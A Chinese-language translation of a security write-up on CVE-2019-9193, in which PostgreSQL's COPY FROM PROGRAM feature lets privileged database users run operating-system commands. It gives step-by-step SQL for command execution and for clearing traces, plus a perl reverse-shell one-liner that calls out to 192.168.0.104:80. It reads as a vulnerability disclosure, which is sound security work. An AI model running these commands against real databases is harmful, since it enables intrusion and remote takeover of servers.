PostgreSQL,俗稱Postgres,是世界上最受歡迎的資料庫系統之一。它是Mac OSX系統的主力資料庫,同時也有Linux和Windows版本。

在這篇文章中,我將展示一個Postgres上鮮為人知的「功能」(CVE-2019-9193),它能使某些資料庫用戶利用Postgres實現任意代碼執行。這個漏洞幾乎影響了PostgreSQL的所有版本(從9.3到最新的11.2),同時也影響了所有的操作系統:Windows,Linux和Mac。

從版本9.3開始,Postgres新增了一個「COPY TO/FROM PROGRAM」功能。這個功能簡單來說就是允許資料庫的超級用戶以及pg_read_server_files組中的任何用戶執行操作系統命令。這就意味著資料庫的超級用戶與運行資料庫的用戶在操作系統上擁有相同的許可權。

這種缺乏許可權分離的設定,我們早在2000年左右就能看到,例如,Microsoft SQL Server在默認情況下會啟用了xp_cmdshell功能。直到Microsoft SQL Server 2005,這種不合理的設定才被修復。但有趣的是,相同的錯誤似乎一直在不停重複。

這種錯誤/缺陷/功能/漏洞介於提權和任意代碼執行之間,因為在利用它之前需要資料庫的某種身份驗證。當然,攻擊者也有可能通過SQL注入來實現。無論哪種情況,只有超級用戶或具有「pg_read_server_files」許可權的用戶都才能執行系統命令。

要執行這種攻擊,可按照以下步驟操作:

1)[可選]刪除你想使用但已存在的表

DROP TABLE IF EXISTS cmd_exec;

2)創建保存系統命令輸出的表

CREATE TABLE cmd_exec(cmd_output text);

3)通過COPY FROM PROGRAM功能運行系統命令

COPY cmd_exec FROM PROGRAM id;

4)[可選]查看結果

SELECT * FROM cmd_exec;

5)[可選]清理痕迹

DROP TABLE IF EXISTS cmd_exec;

注意,原本命令中的任何單引號都必須轉換為雙引號才能正常生效,例如,如果要運行命令:

echo hello;

你需要將它整個放置在單引號內,然後用雙引號替換所有內部所有的單引號:

echo "hello";

我已在Postgres可運行的所有操作系統上進行了測試,都以反彈回一個shell為目標,這個shell的許可權如下:

Windows - NT AUTHORITY/NETWORK SERVICE (低許可權)
Linux - postgres (低許可權)
Mac - 安裝postgres的用戶的許可權 (通常是管理員許可權)

在Linux和Mac OSX系統下通常可以利用perl語言實現反彈shell,命令如下:

COPY files FROM PROGRAM perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;";

當然,我還有更簡單的方法。我製作了一個新的me tasploit模塊(儘快合併到主框架中)來實現遠程控制,原本的postgres_payload模塊只能在版本8之前生效。我的postgres_cmd_execution_nine_three.rb會自動執行上述所有操作,當然,你必須提供有效的資料庫憑據,且具有如上所述許可權。如果是SQL注入的情況,那你就只能手動操作了。

如果目標是Windows系統,NETWORK SERVICE許可權的用戶似乎不具有寫許可權,但我們仍然可以利用PowerShell來反彈回shell。我們可以使用me tasploit來生成Powershell編寫的反彈shell語句,再帶入上述模塊中的COMMAND變數。請注意,要使用反斜杠來轉義單引號。

希望我的研究能對你有用。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:PostgreSQL(從版本9.3至11.2)任意命令執行漏洞(CVE-2019-9193)|NOSEC安全訊息平台 - NOSEC.ORG

原文:medium.com/greenwolf-se

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相关文章